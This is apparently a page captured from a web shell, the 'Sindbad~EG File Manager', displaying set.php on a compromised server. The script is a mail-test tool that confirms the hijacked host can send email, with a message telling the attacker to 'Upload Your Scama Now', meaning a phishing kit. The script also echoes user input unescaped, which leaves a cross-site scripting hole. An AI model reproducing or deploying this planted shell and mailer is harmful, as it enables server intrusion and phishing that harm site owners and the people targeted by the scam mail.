Sindbad~EG File Manager

Current Path : /var/www/wptbox/
Upload File :
Current File : /var/www/wptbox/set.php

<?php
error_reporting(0);

?>
<br>
<br>
<b>Join Us : </b>

<br>
<br>
<b>Test Send if it Works Or not ..</b><br>
<form method="post">
<input type="text" name="email" placeholder="Put Your Email ..." value="<?php print $_POST['email']?>" required>
<input type="submit" value="Send test >>">
</form>
<br>
<?php
if (!empty($_POST['email'])){
    // Extract the website name from the server's HTTP_HOST variable
    $host = $_SERVER['HTTP_HOST'];
    $host_parts = explode('.', $host);
    $website_name = $host_parts[0]; // Get the main domain name without converting to uppercase

    // Generate a random value for the test
    $xx = rand();

    // Send the test email
    mail($_POST['email'], "Test done by $website_name ".$xx, "SERVER WORKING !| U Can Upload Your Scama Now");

    // Print confirmation message
    print "<b>send an report to [".$_POST['email']."] - $xx</b>"; 
}
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists